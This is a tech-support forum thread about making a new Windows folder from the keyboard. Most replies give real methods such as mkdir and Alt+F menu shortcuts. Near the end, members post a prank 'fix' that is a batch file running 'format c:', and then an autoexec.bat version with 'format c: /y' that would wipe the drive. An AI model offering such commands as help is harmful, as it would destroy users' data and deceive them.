want to make a new folder using key board ..no right click

[simondedalus]

hi,
i have to creat a lot of folders for my official purpose and everytime i have to use mose to create it.........it waste a lot of time .......
can anyone tell me how to create a new folder by using only key board..??

 

[simondedalus]

another good news my optical laser mouser is not working and i have to continue it ........

 

[KAZANI]

mdAxelerator

 

[simondedalus]

thanks for the only person to give answer but if you could provide a very simple solution for it then it may help me ..........as for a paradigm alt+F4=shut down option..........

i am looking for this kind of answer.......

Originally posted by: KAZANI
mdAxelerator

 

[ch33zw1z]

use the command line interface

 

[montag451]

more detail....

windows key + R
type 'cmd'
navigate to where you want the folders - cd programfiles etc etc.
type 'mkdir xxxxxxx'
that will make dir xxxxxxx

Alternatively,
Windows key + E
navigate to correct folder using cursors and space bar
Alt + F
Cursor Right
enter/return
type name of dir

 

[simondedalus]

despite the fact that some members try to give an answer to this question.......i am not satisfied yet..

 

[ch33zw1z]

Originally posted by: simondedalus
despite the fact that some members try to give an answer to this question.......i am not satisfied yet..

lmao, then google it or use the mouse. montag gave you good info, if you choose not to use it then it's your fault!

 

[KAZANI]

Originally posted by: simondedalus

thanks for the only person to give answer but if you could provide a very simple solution for it then it may help me ..........as for a paradigm alt+F4=shut down option..........

i am looking for this kind of answer.......

Originally posted by: KAZANI
mdAxelerator

There is no keyboard shortcut for this in Windows.

 

[KAZANI]

Originally posted by: simondedalus
despite the fact that some members try to give an answer to this question.......i am not satisfied yet..

:laugh: That was funny.

 

[montag451]

Maybe there is a 3rd party app to do this, but I sure as hell ain't wasting no more time on this.

 

[simondedalus]

but i am still waiting for someone who will provide me the the exact answer..............but thanks for the replies...........

 

[corkyg]

There is no single command for a New Folder via keyboard, but common sense nav will do it. (assuming you are in Windows Explorer)

ALT-F (Opens FILE menu)
Down Arrow to NEW
ENTER to next menu
ENTER to Folder
ENTER to create.

Good Luck.

 

[Allanv]

ALT+F+W+F

or make 1 file and copy / paste it 50 times whatever you require

 

[dealmaster00]

Originally posted by: simondedalus
but i am still waiting for someone who will provide me the the exact answer..............but thanks for the replies...........

Jesus...we aren't your personal slaves or anything.

 

[simondedalus]

ok ok ..........enough is enough .............let myself try for it .........you are just making a mess out of it

 

[simondedalus]

Originally posted by: Allanv
ALT+F+W+F

or make 1 file and copy / paste it 50 times whatever you require

but who can press(ALT+F+W+F) that at a time .........???????????????????/

 

[Fardringle]

Several helpful members have posted exactly what you need to do in order to do what you are asking. There is no single keyboard function to create new folders in Windows. Allanv's instructions are the quickest shortcut you can use to create a folder without using the mouse. Press Alt and f together to open the File menu, then press w to open the "new item" menu, then press f to create a new folder, then type the name of the new folder and press Enter to save the name.

Or, you can do it the easy way and right-click with the mouse in the Explorer window and select New>Folder.

Without a third-party application that lets you map single keyboard keys to complex functions, there is no easier way to do it than what has already been posted.


edit: typo

 

[ch33zw1z]

Originally posted by: simondedalus
ok ok ..........enough is enough .............let myself try for it .........you are just making a mess out of it

now I know you're joking..

 

[corkyg]

What's the old saying about leading a horse to water?

 

[Ruger22C]

I had a good laugh out of this thread.

 

[montag451]

Ok, we fell for it.

****DO NOT TRY THE FOLLOWING AT HOME****

Anyway, the real way to do it is to make a batch file:

format c:

save it as file.bat in your root file
Restart your computer.

****Don't do it - he's not worth it****

 

[simondedalus]

Originally posted by: ch33zw1z

Originally posted by: simondedalus
ok ok ..........enough is enough .............let myself try for it .........you are just making a mess out of it

now I know you're joking..

you are misinterpreting me...........

 

[simondedalus]

Originally posted by: montag451
Ok, we fell for it.

****DO NOT TRY THE FOLLOWING AT HOME****

Anyway, the real way to do it is to make a batch file:

format c:

save it as file.bat in your root file
Restart your computer.

****Don't do it - he's not worth it****

is this an advice or you are trying to astray me

 

[Fardringle]

Originally posted by: simondedalus

Originally posted by: montag451
Ok, we fell for it.

****DO NOT TRY THE FOLLOWING AT HOME****

Anyway, the real way to do it is to make a batch file:

format c:

save it as file.bat in your root file
Restart your computer.

****Don't do it - he's not worth it****

is this an advice or you are trying to astray me

Since you apparently don't want any real, honest, good advice, you might as well follow Montag's instructions, but you'll get better results if you name the file autoexec.bat and make the text within the file format c: /y.